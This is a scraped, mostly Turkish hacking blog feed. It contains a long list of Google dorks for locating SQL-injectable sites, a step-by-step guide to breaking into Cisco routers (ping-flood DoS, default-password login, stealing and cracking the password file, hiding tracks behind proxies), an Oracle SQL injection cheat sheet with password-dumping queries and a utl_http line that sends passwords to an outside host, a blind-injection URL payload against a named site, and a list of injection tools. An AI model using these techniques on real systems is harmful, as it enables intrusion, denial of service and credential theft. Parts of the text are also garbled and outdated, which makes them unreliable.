/>inurl:showimg.php?id=<br />inurl:view.php?id=<br />inurl:website.php?id=<br />inurl:hosting_info.php?id=<br />inurl:gallery.php?id=<br />inurl:rub.php?idr=<br />inurl:view_faq.php?id=<br />inurl:artikelinfo.php?id=<br />inurl:detail.php?ID=<br />inurl:index.php?=<br />inurl:profile_view.php?id=<br />inurl:category.php?id=<br />inurl:publications.php?id=<br />inurl:fellows.php?id=<br />inurl:downloads_info.php?id=<br />inurl:prod_info.php?id=<br />inurl:shop.php?do=part&id=<br />inurl:productinfo.php?id=<br />inurl:collectionitem.php?id=<br />inurl:band_info.php?id=<br />inurl:product.php?id=<br />inurl:releases.php?id=<br />inurl:ray.php?id=<br />inurl:produit.php?id=<br />inurl:pop.php?id=<br />inurl:shopping.php?id=<br />inurl:productdetail.php?id=<br />inurl:post.php?id=<br />inurl:viewshowdetail.php?id=<br />inurl:clubpage.php?id=<br />inurl:memberInfo.php?id=<br />inurl:section.php?id=<br />inurl:theme.php?id=<br />inurl:page.php?id=<br />inurl:shredder-categories.php?id=<br />inurl:tradeCategory.php?id=<br />inurl:product_ranges_view.php?ID=<br />inurl:shop_category.php?id=<br />inurl:transcript.php?id=<br />inurl:channel_id=<br />inurl:item_id=<br />inurl:newsid=<br />inurl:trainers.php?id=<br />inurl:news-full.php?id=<br />inurl:news_display.php?getid=<br />inurl:index2.php?option=<br />inurl:readnews.php?id=<br />inurl:top10.php?cat=<br />inurl:newsone.php?id=<br />inurl:event.php?id=<br />inurl:product-item.php?id=<br />inurl:sql.php?id=<br />inurl:aboutbook.php?id=<br />inurl:preview.php?id=<br />inurl:loadpsb.php?id=<br />inurl:pages.php?id=<br />inurl:material.php?id=<br />inurl:clanek.php4?id=<br />inurl:announce.php?id=<br />inurl:chappies.php?id=<br />inurl:read.php?id=<br />inurl:viewapp.php?id=<br />inurl:viewphoto.php?id=<br />inurl:rub.php?idr=<br />inurl:galeri_info.php?l=<br />inurl:review.php?id=<br />inurl:iniziativa.php?in=<br />inurl:curriculum.php?id=<br />inurl:labels.php?id=<br />inurl:story.php?id=<br />inurl:look.php?ID=<br />inurl:newsone.php?id=<br />inurl:aboutbook.php?id=<br />inurl:material.php?id=<br />inurl:opinions.php?id=<br />inurl:announce.php?id=<br />inurl:rub.php?idr=<br />inurl:galeri_info.php?l=<br />inurl:tekst.php?idt=<br />inurl:newscat.php?id=<br />inurl:newsticker_info.php?idn=<br />inurl:rubrika.php?idr=<br />inurl:rubp.php?idr=<br />inurl:offer.php?idf=<br />inurl:art.php?idm=<br />inurl:title.php?id=<br />inurl:".php?id=1"<br />inurl:".php?cat=1"<br />inurl:".php?catid=1"<br />inurl:".php?num=1"<br />inurl:".php?bid=1"<br />inurl:".php?pid=1"<br />inurl:".php?nid=1"Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-84466083798818874522010-07-08T16:43:00.001-07:002010-07-08T16:43:23.845-07:00Exploiting Cisco Systems(Windows)Exploiting Cisco Systems(Windows)<br /><br /><br /><br /><br /><br />Bu dokuman bir seri ispatlanmis cisco exploitlerinin sisteme erisim saglamak icin nasil kullanilacagini adim adim anlatacaktir. Eger bir cisco router’a girerken yakalanir ya da sistemi bozarsaniz yuzlerce internet kullanicisini zor durumda birakir, binlerce dolar hasara neden olabilirsiniz, o yuzden sadece izniniz varsa deneyin bunlari J yanlis sekilde kullanilmasi basinizi cok derde sokabilir.<br /><br /><br /><br />Baslamadan once bilmeniz gerekenler<br /><br /><br /><br />IP adres nedir?<br /><br /><br />IP, Internet protokolunun kisaltilmis halidir. IP adresleri bilgisayarlar tarafindan kendilerine baglanmis diger bilgisayarlari taminada kullanilir. Bu IRC den nasil banlandiginizdir ve nasil ISS inizin bulunmasidir. IP adresleri cok kolaylikla alinirlar.<br /><br /><br /><br />IP adresi bulmak icin su yontemler kullanilir :<br /><br /><br /><br />Bir websitesine gidersiniz ve IP niz loglanir· IRC de isteyen herkes IP nizi alabilir· ICQ da “IP mi gosterme” secenegini secmis dahi olsaniz yine de IPniz alinabilir· Eger bir yere baglanmissaniz, “systat” yazarak kimin baglanmis oldugunu gorebilirler.· Birisi eger size IP-logging java li bir email gondermisse, ayni zamanda sizin IP nizi de alirBunlardan baska IP adresini almak icin bir cok yontem vardir, back-door programlari sub7 ya da NetBus kullanmak gibiISS nedir?ISS, internet servis saglayicisinin kisaltilmisidir, ve size interneti veren firmadir. Dial-up yapip bir baglanti sagladiginizda baglandiginiz sistemdir. Isteyen birileri sizin ISS inizi size bir traceroute uygulayarak bulabilir ( traceroute daha ilerde aciklanacaktir).<br /><br /><br /><br />Su sekildedir :<br /><br /><br />tracert 222.222.22.22Tracing route to [221.223.24.54]over a maximum of 30 hops.1 147ms 122ms 132ms your.isp [222.222.22.21]2 122ms 143ms 123ms isp.firewall [222.222.22.20]3 156ms 142MS 122ms aol.com [207.22.44.33]4 * * * Request timed out5 101ms 102ms 133ms cisco.router [194.33.44.33]6 233ms 143ms 102ms something.ip [111.11.11.11]7 222ms 123ms 213ms netcom.com [122.11.21.21]8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target’s isp10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]Trace complete.<br /><br /><br /><br />TCP/IP packeti nedir?<br /><br /><br />TCP/I . Transmission Control Protocol and Internet Protocol’unun kisaltilmisidir, bir TCP/IPPacketi sIkistirilmis sonra bir header (baslik) eklenmis ve baska bir bilgisayara gonderilmis blok halinde bir datadir. Butun internet transferlerinin paketler gondererek nasil olustugudur. Bir paketteki header (baslik), paketi gonderen bilgisayarin IP adresini icerir. Bir paketi yeniden yazip herhangi birinden gelmis gibi gosterebilirsiniz.<br /><br /><br /><br />Bir cok sisteme erisim saglamak icin bunu kullanabilirsiniz ve yakalanmazsiniz.Linux calistiriyor olmaniz ya da bunu yapmanizi saglayacak bir programinizin olmasi gerekir.Ipnizi nasil saklarsiniz:Genius 2 ya da DC IS gibi programlardan birini bulun, bunlar sizin IdentD calistirmaniza izin veriri. Isteginize bagli olarak bilgisayarinizin kimliginin bir parcasinin degistirmenize yardim eder. Bunu IRC chat roomlardan banlandiginizda kullanin… hemencecik geri girersiniz. Ayni zamanda baska bir sisteme erisirken de kullanabilirsiniz, bu sekilde yanlis bir kimligi loglarlar.<br /><br /><br /><br />Telnet nasil kullanilir:<br /><br /><br />Telneti kolayca baslat menunuzden calistiri secip telnet yazmak suretiyle acabilirsiniz. Telneti actiktan sonra bazi ozellikleri degistirmek isteyebilirsiniz. Terminal>Preferences uzerine tiklayin. Burdan buffer size ini , fontu ve diger seyleri degistirebilirsiniz. Ayni zamanda “local echo” yuacabilir ya da kapatabilirsiniz. Eger “local echo”yu acarsaniz, bilgisayariniz size yazdiginiz her seyi gosterir, ve bagli bulundugunuz bilgisardakileri de. Boylece bilgisayarinizda “hello” yazdiginizda “hhelelollo” seklinde bir karsilik alirsiniz. Bunun nedeni, bilginin geri gelerek sizin yazdiginizla karismasidir, bu ozelligi sadece bilgisayarin ne yazdigimi bana geri gonderip gondermedigini gormek icin kullanirim.<br /><br /><br /><br />Default olarak telnet,telnet portundaki ( port 23) bir sisteme baglanir. Her zaman 23uncu porta baglanmak istemeyebilirsiniz, o zaman baglantiya gittiginizde port u mesela 25 e cevirebilirsiniz, ki bu mail serverlarinin portudur. Ya da FTP icin 21 e. Binlerce degisik port vardir, bu yuzden dogru olani sectiginizden emin olun.<br /><br /><br /><br />HyperTerminal nasil kullanilir ?<br /><br /><br /><br />HyperTerminal, belirli bir bilgisayara giren bilgiyi dinlemeniz icin kendi bilgisayarinizdan herhangi bir porttan bir server acmaniza musade eder. Bunu kullanmak icin Baslat >> programlar >> donatilar >> iletisim >> HyperTerminal secmeniz yeterli. Once bir baglanti secmeniz gerekir, TCP/IP Winsock I secin, sonra iletisim kuracaginiz bilgisayari yazin, ve port numarasini belirleyin. HyperTerminale inputlari dinlemesini soyleyebilirsiniz su sekilde: Call >> wait for call. Simdi diger bilgisayar size o porttan baglanir ve chat yapabilir dosya transfer edebilirsiniz.<br /><br /><br /><br />Ping nasil kullanilir :<br /><br /><br />Ping cok basittir, sadece MS-DOS u acin ve “ping ip adresi “ yazin. Default olarak 3 kere ping yapar, fakat “ping ip adres -t” yazarsaniz sonsuza kadar pingler. Ping buyuklugunu degistirmek icin sunu yapin : "ping -l (size) ip.address" . Pingin yaptigi bir bilgisayara bir data paketi yollamak, ve ne zaman geri donecegini beklemektir, bununla bilgisayarin baglanti hizi ve paketin gidip geri gelmesi esnasinda gecen zaman ( “trip time” olarak adlandirilir ) anlasilir.<br /><br /><br /><br />Ping ayni zamanda bir sistemi yuklu sayida ping flood ederek yavaslatmak ya da cokertmek icin de kullanilabilir. Windows 98 bir dakikalik ping floodundan sonra cokebilmektedir. Bir ping flood saldirisi hedefinizden cok sizden yuksek oranda bandwidth alir( eger saldirdiginiz bir Windows 98 makine ve sizin modeminiz orta halli birseyse o zaman bir dakika icinde sistemi cokertmeniz mumkun ) . Ping flood kuvvetli hedeflerde etkili olmaz. Not : DOS un -t secenegi ping flood yapmaz, sadece hedegi surekli pingler, bir pingle digerinin arasinda bir ara vererek. Her Unix ve Linux makinelerde, ping -f kullanarak gercek bir ping flood yapabilirsiniz.<br /><br /><br /><br />Aslinda ping -f distribution ininizin POSIX-compliant olabilmesi icin gereklidir. TraceRoute nasil kullanilir :Baglantinizi izlemek icin ( ve de sizinle hedefiniz olan bilgisayar arasindaki tum bilgisayarlari gorebilmek icin ) sadece MS_DOS acin ve "tracert ip.address" yazin. Boylelikle sizinle hedefiniz arasindaki bilgisayarlarin listesini alirsiniz. Bunu arada herhangi bir seyi blocklayan bir firewall un olup olmadigini anlamak icin kullanabilirsiniz. Ve bununla birlikte bir kisinin ISS ini de anlamaya kullanilabilir bu komut. ISS I ayirt etmek icin listedekien sondan bir onceki IP adresine bakin, bu ISS in routerlarindan birinin adresi olacaktir ihtimalle.<br /><br /><br /><br />Basitce traceroute soyle calisir :<br /><br /><br />Bir TCP/IP paketi headerinda ( basliginda ) TTL (time to live ) adi verilen bir deger tasir. Paketin her sekmesinde bu deger bir azalir. Bu sadece bir seylerin yanlis giderek paketin net uzerinde surekli sekmesini ve dolayisiyla bandwidth harcamasini onlemek icindir. Bir paketin TTL I sifir oldugu anda paket olmekte ve bir ICMP hatasi gonderici bilgisayara gonderilmektedir.Simdi, traceroute once TTL degeri 1 olan bir paket gonderir, Bu paket cabucak geri doner,ve ICMP hata basligindaki gonderenin adresine bakarak,traceroute paketin ilk sekmesinde nerde oldugunu gorur. Sonra ikinci bir paket TTL degeri 2 olarak yola cikarilir ve ikinci sekmeden sonra geri doner ve takildigi makinenin kimliginide getirerek. Bu bu sekilde paket hedefine ulasana kadar devam eder.<br /><br /><br /><br />Proxy server nasil kullanilir ?<br /><br /><br />Web de istediginiz bir portta calisan bir proxy server aramasi yapin. Bir tane buldugunuzda, telnetle ya da hyperterminalle ona baglanin, sonra dabu server uzerinden baska bir makineye baglanin. Boylelikle diger ucdaki bilgisayar sizin IP adresinizi bilemez.<br /><br /><br /><br />Bolum 1:<br /><br /><br /><br />neden bir cisco router hacklensin ?Cunku sistemlere giris yapmak icin kullanislidirlar. Cisco routerlar, bazilari bir sistemde 18 T1 baglantisiyla , cok hizlidirlar, ve cok esnektirler ve DoSsaldirilarinda kullanilabilirver ya da baska sistemleri hacklemek icin kullanilabilirler. Bir anda binlerce paket uzerlerinden gecer ve bunlar yakalanip decode edilebilirler. Bir cok Cisco router guvenilir sistemlerdir,ve kendi networkundaki bilgisayarlara baglanabilmeniz icin size belli miktarda izin verir.<br /><br /><br /><br />Bolum 2:<br /><br /><br /><br />bir cisco router bulmak Cok basittir, hemen hemen her ISS en az bir Cisco router uzerinden gecer. Bir cicso router bulmanin en kolay yolu DOS da traceroute calistirmaktir (“tracert ipAddress”). Hemen hemen herkesi tracert edebilisiniz cunku trace aradaki tum bilgisayarlarin listesini verecektir sizinve hedefiniz arasindaki. Ve bu sistemler biri muhtemelen cisco ismini tasiyor olacaktir. Bu sekilde bir tane bulursaniz, IP adresini not alin. Simdicisco router un nerde oldugunu biliyorsunuz fakat kendisini koruyan bir firewall olabilir, dolayisiyla blocklanip blocklanmadigini anlamak icin bir kac kere pinglersiniz. Eger pinginiz geri donuyorsa blocklanmami olabilir. Baskabir yolda, bazi Cisco router portlarina erisimi denemektir, bunu da basitcetelneti kullanarak ve port 23 deki bir router a bir baglanti acarak yapabilirsin. Eger bir sifre sorarsa fakat kullanici adi sormazsa routerdasindir, fakat, eger kullanici adi da isterse o zaman buyuk ihtimallebir firewalldasindir. Bu dokumanin amaci routerda ne yapilabilir oldugu ve firewall nasil atlatilir anlatilmayacagi icin firewall olmayan bir router bulmayi deneyin. Iyi bir sistem buldugunuza emin olduktan sonra, port 23u kullanmaniza izin verecek bir proxy server da bulmalisiniz, bu sayede sizin IP niz loglanmaz routerda.<br /><br /><br /><br />Bolum 3:<br /><br /><br /><br />Bir Cisco Routera nasil girilir?v4.1 software calistiran Cisco routers (ki cogu boyledir) kolaylikla islem disi birakilabilir. Sadece router a bir proxy serverin 23 uncu portuyla giris yapin, ve asagidaki sekilde uzun bir password girin :<br /><br />Download Rar : http://www.dosyaload.net/download.php?file=4f8e871bfe9382e1f034ac9477e78acf<br /><br />Pass : cs<br /><br />Sonra bekleyin, Cisco sistemi reboot olabilir ki offline olacagi icin hackleyemezsiniz. Fakat buyuk ihtimalle 2-10 dakikaligina donacaktir, ki bu surede de siz iceri girmeye calismalisiniz. Eger hic biri de olmadiysa, budemektir ki kullanilan programda acik yok, o zaman sizde bir surelik DoS saldirisi yapabilirsiniz.<br /><br /><br /><br /><br />DOS a gidin "ping -l 56550 cisco.router.ip -t", yazin,ayni isi gorecektir. Sistem donmus durumdayken, baska bir proxy den baska bir baglanti acmaya calisin, ve sifreyi admin olarak girin, bunun nedeni, bu default sifredir ve gecici olarak islevsiz birakildigindan sistem default ayarlarina donecektir. Log in olduktan sonra sifre dosyasini elde etmelisiniz. Sistemler degisik programlar kullanabilir, ama cogunun “htl-textil” yada benzer bir prompt u vardir, orda ? yazarsaniz butun komutlarin listesini gorebilirsiniz, ve orda bir yerde transfer komutunun ne oldugunu bulabilirsiniz, sonra da bu komutla adminin sifre dosyasini alabilirve kendi IP adresinize gonderebilirsiniz. Fakat bundan once HyperTerminali Cisco routerdan bir cagri beklemek uzere ayarlayin. Simdi, dosyayi gonderdikten sonra, HyperTerminal size bunu kabul etmek isteyip istemediginizi soracaktir, evet diyerek bunu bir yere kaydedin. Logout yapin. En zor kismi gecmis bulunmaktasiniz, simdi sifreyi kirmak icin hazirlanin.<br /><br /><br /><br /><br />Bolum 4:<br /><br /><br /><br />Sifreyi KirmakSifre dosyasini aldiginiza gore, routera yeniden erisebilmek icin bunu kirmaniz gerekir. Bunu yapmak icin, John the Ripper gibi bir program ya da benzer bir sey calistirabilirsiniz sifre dosyasinda. Bu en kolay ve tavsiye edebilecegim yolu. Diger bir yol da deniyerek sifreyi decryt etmektir. Bunun icin bir cesit decryption programina ihtiyaciniz olacak, ve bol sabirave bazi decrption siralarini bulmaniz gerekecek.<br /><br /><br /><br />Iste bir Cisco sifresi icin ornek bir dcryption siralamasi:<br /><br />Download Rar : http://www.dosyaload.net/download.php?file=3d3913b9fa0b7f24bbde1c01c13a80ec<br /><br />Pass : cs<br /><br />Eger Linux’unuz yoksa, sifreyi kirmak icin tek yolunuz John the Ripper ile ya da baska bir password-cracker programi ile, dosyaya dictionary (sozluk) ya da brute-force attackler yapmaktir.<br /><br /><br /><br />Bolum 5:<br /><br /><br /><br />Router’I kullanmaTeknolojinin bu harika parcasini kullanmak icin, ona baglanmaniz lazim once, eger IP nizini loglanmasini istemiyorsaniz, proxy kullanin. Login olduktan sonra, history yi islevsiz hale getirebilirsiniz boylelikle kimse ne yapiyor oldugunuza bakamaz, sadece “terminal history size 0” yazmaniz yeterli. “?” yazarak routerin komut listesine ulasabilirsiniz ve bir cogunu kullanabilirsiniz.<br /><br /><br /><br /><br />Bu routerlarda genellikle telnet vardir, dolayisiyla telneti baska sistemlere ulasmak ve hacklemek icin kullanabilirsiniz ( unix box lar gibi). Ayni zamanda ping ve traceroute da vardir routerda, bunlari da sistemleri izlemek ya da DoS saldirilari yapmak icin kullanabilirsiniz. Paketleri engellemek icin de kullanabilirsiniz ama bunu hic tavsiye etmem, cunku herzaman calismayacagi gibi, farkedilmenize de neden olabilir. Ilk denemenizde bir Cisco hackleyemezseniz, dert etmeyin… cunku muhtemelen ilk seferde hatta belki de ikinci seferde de basaramiyacaksinizbunu. Deneme ve bol sabir isteyen bir seydir.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-43599576023980341132010-07-08T16:42:00.003-07:002010-07-08T16:42:49.215-07:00ORACLE SQL InjectionBSQL Hacker için ORACLE modülü geliştirirken ORACLE' da SQL Injection araştırmaları yapmaya ve bir ufak bir cheat sheet hazırlamaya vaktim oldu. Dokümanı inaşallah bu Pazartesi ya da Salı günü yayınlayacağım.<br /><br />Bu arada BSQL Hackerda sayısız yenilikler oldu. Bazıları<br /><br />* SQL Server ve ORACLE için Otomatik exploit motoru (PostgreSQL ve MySQL yolda)<br />* GUI' den test imkanı<br />* Hızlı bir şekilde olaya girmek için 2 tane Wizard (Raw Request' ten veya URL den direk injection oluşabiliyor)<br />* Kendini Güncelleme özelliği<br />* Exploit Repository ve Güncelleme desteği. Bu sayede diğer sitelerden ve resmi exploit deposundan otomatik olarak yeni exploitleri indirebilir ya da kendi exploitlerini dağıtabilirsiniz.<br />* Exploitleri Yükleme ve Kaydetme<br />* Doğru veya yanlış anahtar kelimeleri girmeden otomatik olarak çıktılardaki değişiklikleri tespit edebilme<br />* Raw Request, Response ve Cevabın doğru - yanlış - hatalı olduğunu görme<br />* Kolay bug report özellikleri<br />* ve daha bir çok başka şey...<br /><br />Hala beta aşamasında, yakında tam olarak public beta' yı yayınlayacağım inaşşallah. 2 haftadan fazla sürmeyeceğini umuyorum.<br />Yorumlar 10 Yorum var - Yorum Ekle Yorumunu Ekle<br />anahtar kelimeler : blog haber news bsql oracle bsql hacker sql injection<br />ferruh.mavituna<br /><br />Site genel olarak güvenlik, internet ve web teknolojileri üzerine yazdığım yazılardan oluşmaktadır. Sitede 2003 yılından bu yana yazılmış 1750' den fazla yazı bulunmaktadır.<br /><br />Bunun yanında projeler de geliştirdiğim projeleri, ar-ge kısmında güvenlik araştırma dokümanlarıma ulaşabilir, programlar kısmından yazdığım yazılımları download edebilirsiniz. Site hakkında.<br /><br />List of english articles, RSS or try this page.<br />PROJECTS<br /><br />* Freaking Simple Fuzzer<br />* Psycho Folder<br />* BSQL Hacker<br />* Win MD5 Checksum Tool<br />* Hocus Pocus<br />* SQL Injection Cheat Sheet<br />* SQL Injection Wiki<br />* Refactor My RegEx<br />* Bir sey ogren<br /><br />ARAMA<br /><br />Detaylı Arama<br />TAKİP<br />Siteyi RSS ile Takip Et Siteyi E-mail ile Takip Et RSS Takipçileri<br />website stats Follow me on Twitter Follow me on FriendFeed<br />YORUMLAR<br />pigme 23 saat 20 dakika önce Cnbc-e Dergi ' e yorum yazdı.<br />aus 1 gün 2 saat 44 dakika önce Fikir Üretme, Etki ve Tepki ' e yorum yazdı.<br />CANLI YAYIN<br />delicious<br />delicious<br />zabihah.com - your guide to halal eating<br />3 saat önce - Yorumla<br />delicious<br />delicious<br />Abdullah's Blog on Software: Dictionary Performance<br />4 saat önce - Yorumla<br />Blog<br />FM Shared on NewsGator Online<br />Neden Anti-XSS?<br />dün 6:40 - Yorumla<br />Twitter<br />Twitter<br />“@_ikki Cheers mate, we are getting there :)”<br />dün 7:31 - Yorumla<br />Twitter<br />Twitter<br />“@timb_machine yes I'm. I'm also planning to some automated ownage via upload forms. -no promises though :) -”<br />dün 7:27 - Yorumla<br />FriendFeed'imi görüntüle - Bana abone ol<br />KATEGORİLER<br /><br />* Projeler - Programlar<br />*<br />o BSQL Hacker<br />* En İyi Yazılar<br />* Güvenlik<br />* Yazılım Geliştirme<br />* Kitap<br />* Kişisel / Hayat<br />* Kişisel Gelişim<br />* Online Araçlar ve Projeler<br />*<br />o Encoder / Converter<br />* SQL Injection<br />*<br />o SQL Injection Dersleri<br />o SQL Injection Cheat Sheet<br />o ORACLE SQL Injection Cheat Sheet<br />o Record Locator<br />o Error Based SQL Injections<br />* Tüm Kategoriler<br /><br />ARŞİV<br />Senelere Göre Arşivler<br /><br />* 2009 (dur daha yeni başladı!)<br />* 2008 (147 yazı)<br />* 2007 (358 yazı)<br />* 2006 (299 yazı)<br />* 2005 (356 yazı)<br />* 2004 (350 yazı)<br />* 2003 (245 yazı)<br /><br />Diğer Arşiv Erişimleri<br /><br />* Etiket Arşivi<br />* Son Yazılar<br />* En iyi Yazılar<br />* En Popüler Yazılar<br />* En Tırt Yazılar<br />* Çok konuşulan Yazılar<br />* Kimsenin Takmadığı YazılarKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-90254348347529033932010-07-08T16:42:00.001-07:002010-07-08T16:42:21.049-07:00ORACLE SQL Injection Cheat SheetORACLE SQL Injection Cheat Sheet<br />Etiketler sql injection, oracle, paper, english, cheat sheet, 02.10.2007<br /><br />*<br />Introduction<br />* ORACLE SQL Injection Notes<br />*<br />Concatenation<br />*<br />Comments<br />*<br />Casting<br />* Strings without Quotes<br />* Getting Stuff<br />o Getting Tables<br />o<br />Getting Columns<br />o Getting Current Database Name<br />o Getting Users and Passwords<br />o Getting Version<br />o Getting Current User<br />* Simple Union Query<br />* Simulating SQL Server's TOP feature<br />* Moving Records one by one<br />* Functions useful for Blind SQL Injection<br />* Doing outbound connections<br />* References, Credits, Thanks & Document History<br /><br />Introduction<br /><br />Quick and Dirty ORACLE SQL Injection Cheat Sheet which will be combined with main SQL Injection Cheat Sheet eventually. This cheat sheet can help you to get started for basic ORACLE SQL Injections.<br />ORACLE SQL Injection Notes<br /><br />In ORACLE you can not just SELECT stuff you have to SELECT them from some table. For this purpose you can use special table called DUAL.<br /><br />i.e. SELECT 'dummydata' || 'x' FROM DUAL;<br /><br />You have to close comments if you used /* comment */ style comments<br />Concatenation<br /><br />SELECT utl_raw.concat('x','y') FROM DUAL; SELECT 'x' || 'y' FROM DUAL; SELECT 'a' || 'b' FROM DUAL; SELECT user || '-' || password FROM members;<br />Comments<br /><br />/* comment */<br /><br />Note : You have to close this comments properly otherwise you'll get syntax error.<br />Line comment : --<br /><br />Casting<br /><br />For most of the data types concatenating data with a string can do the casting automatically. SELECT 1 || 'a' FROM DUAL;<br />Strings without quotes<br /><br />SELECT chr(110) || chr(111) FROM DUAL;<br />OR<br />SELECT utl_raw.cast_to_varchar2(TO_CHAR(110)) FROM DUAL;<br />Getting Stuff<br />Getting Tables<br /><br />SELECT table_name FROM all_tables WHERE TABLESPACE_NAME='USERS'<br /><br />Getting Columns<br /><br />SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME'<br />Getting Current Database Name<br /><br />SELECT global_name FROM global_name<br /><br />Getting Users and Passwords<br /><br />SELECT name, password FROM sys.user$ where type#=1<br /><br />Getting version<br /><br />Select banner || '-' || (select banner from v$version where banner like 'Oracle%') from v$version where banner like 'TNS%'<br /><br />Getting Current User<br /><br />SELECT user FROM dual<br />Simple Union Query<br /><br />http://127.0.0.1/sqlinjection/ora.php?id=-101%20UNION%20ALL%20SELECT%20(SELECT%20user%20FROM%20dual)%20FROM%20DUAL<br />Simulating SQL Server's TOP feature<br /><br />SELECT FIRST_NAME FROM (SELECT ROWNUM R, FIRST_NAME FROM hr.employees) WHERE R <= 3;<br />Moving Records one by one<br /><br />SELECT FIRST_NAME FROM (SELECT ROWNUM R, FIRST_NAME FROM hr.employees) WHERE R = 3;<br /><br />Functions useful for Blind SQL Injetion<br /><br />* BEGIN DBMS_LOCK.SLEEP(5); END; - Sleep for 5 seconds<br />* CHR() - Convert to Char<br />* ASCII() - Convert to ASCII<br />* SUBSTR() - Substring<br />* BITAND() - Bit And operation<br />* LOWER() - Convert to LowerCase<br /><br />Doing outbound connections<br /><br />* SELECT utl_http.request('http://www.example.com') FROM DUAL SELECT utl_http.request('http://www.example.com/?' || (SELECT pass FROM members) ) FROM DUAL<br />* SELECT HTTPURITYPE('http://www.example.com').getXML() FROM DUAL;<br /><br />You can test blind SQL Injection from DNS requests (can be more reliable against egress filtering) or from actual web request.<br /><br />References, Papers & Credits<br /><br />* Thanks to Pentestmonkey, Notsosecure, Alexander Kornbrust<br />* SQL Injection Attacks for ORACLE Developers<br />* Red Database Security Papers<br />* SQL Injection Cheat Sheet<br /><br />Document History<br /><br />* 02/10/2007 - Public Release<br />* 02/10/2007 - Getting passwords section and utl_http replaced with new and easier ones. Thanks to Alexander Kornbrust<br />* 09/10/2007 - Sleep function addedKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-58775069964215910812010-07-08T16:41:00.003-07:002010-07-08T16:41:50.614-07:00Zaman Tabanlı Full-Blind SQL Injectionull Blind SQL Injection (çıktıda hiç değişiklik oluşturmayan SQL Injectionlar) popüler konularımızdan biri. Her ne kadar MySQL, ORACLE, SQL Server, PostgreSQL de rahatça takılabilsekte MS Access gibi acayip ve genelde tırt veritabanlarına gelince takılıyoruz.<br /><br />Çünkü genelde çoğu veritabanı, SLEEP ya da WAITFOR DELAY gibi fonksiyonlar ile zaman tabanlı ataklar yapmamızı sağlarken MS Access gibi veritabanlarında bu imkanımız yok.<br /><br />Diğer bir örnek ise MySQL ve BENCHMARK. MySQL zaman tabanlı SQL Injection atakları yapmak için BENCHMARK' ı kullanabiliyoruz ve basitçe veritabanında uzun süren herhangi bir iş yapıyor ve çıktının kaç saniyede üretildiğine bakıp açığı exploit edebiliyoruz.<br /><br />Chema Alonso BENCHMARK yerine çok uzun sürecek SQL queryleri çalıştırarak her veritabanında çalışabilecek bir zaman tabanlı SQL Injection yöntemi geliştirmiş.<br /><br />http://www.informatica64.com/blind2/pista.aspx?id_pista=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)<br /><br />BENCHMARK ya da bu yöntem şiddetle kaçınılmalı ve SQL Injectionlarda en son yöntem olarak başvurulmalı. Nedeni basit, serverın CPU' sunu aşırı derecede harcamış olacaksınız. Dolayısıyla server cevap vermeyebilir ya da ilginç hatalar almaya başlabilirsiniz.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-50744877496816279872010-07-08T16:41:00.001-07:002010-07-08T16:41:29.148-07:00En iyi 15 SQL Injection ToolsSQLIer – SQLIer takes a vulnerable URL and attempts to determine all the necessary information to exploit the SQL Injection vulnerability by itself, requiring no user interaction at all. Get SQLIer.<br /><br />SQLbftools – SQLbftools is a collection of tools to retrieve MySQL information available using a blind SQL Injection attack. Get SQLbftools.<br /><br />SQL Injection Brute forcer – SQLibf is a tool for automatizing the work of detecting and exploiting SQL Injection vulnerabilities. SQLibf can work in Visible and Blind SQL Injection. It works by doing simple logic SQL operations to determine the exposure level of the vulnerable application. Get SQLLibf.<br /><br />SQLBrute – SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle. It is written in Python, uses multi-threading, and doesn’t require non-standard libraries. Get SQLBrute.<br /><br />BobCat – BobCat is a tool to aid an auditor in taking full advantage of SQL injection vulnerabilities. It is based on AppSecInc research. It can list the linked severs, database schema, and allow the retrieval of data from any table that the current application user has access to. Get BobCat.<br /><br />SQLMap – SQLMap is an automatic blind SQL injection tool, developed in python, capable to perform an active database management system fingerprint, enumerate entire remote databases and much more. The aim of SQLMap is to implement a fully functional database management system tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities. Get SQLMap.<br /><br />Absinthe – Absinthe is a GUI-based tool that automates the process of downloading the schema and contents of a database that is vulnerable to Blind SQL Injection. Get Absinthe.<br /><br />SQL Injection Pen-testing Tool - The SQL Injection Tool is a GUI-based utility designed to examine database through vulnerabilities in web-applications. Get SQL Injection Pen-testing tool.<br /><br />SQID – SQL Injection digger (SQLID) is a command line program that looks for SQL injections and common errors in websites. It can perform the follwing operations: look for SQL injection in a web pages and test submit forms for possible SQL injection vulnerabilities. Get SQID.<br /><br />Blind SQL Injection Perl Tool – bsqlbf is a Perl script that lets auditors retrieve information from web sites that are vulnerable to SQL Injection. Get Blind SQL Injection Perl Tool.<br /><br />SQL Power Injector - SQL Power Injection helps the penetration tester to inject SQL commands on a web page. It’s main strength is its capacity to automate tedious blind SQL injection with several threads. Get SQL Power Injection.<br /><br />FJ-Injector Framwork – FG-Injector is a free open source framework designed to help find SQL injection vulnerabilities in web applications. It includes a proxy feature for intercepting and modifying HTTP requests, and an interface for automating SQL injection exploitation. Get FJ-Injector Framework.<br /><br />SQLNinja – SQLNinja is a tool to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end database. Get SQLNinja.<br /><br />Automagic SQL Injector – The Automagic SQL Injector is an automated SQL injection tool designed to help save time on penetration testing. It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned. Get Automagic SQL Injector.<br /><br />NGSS SQL Injector – NGSS SQL Injector exploit vulnerabilities in SQL injection on disparate 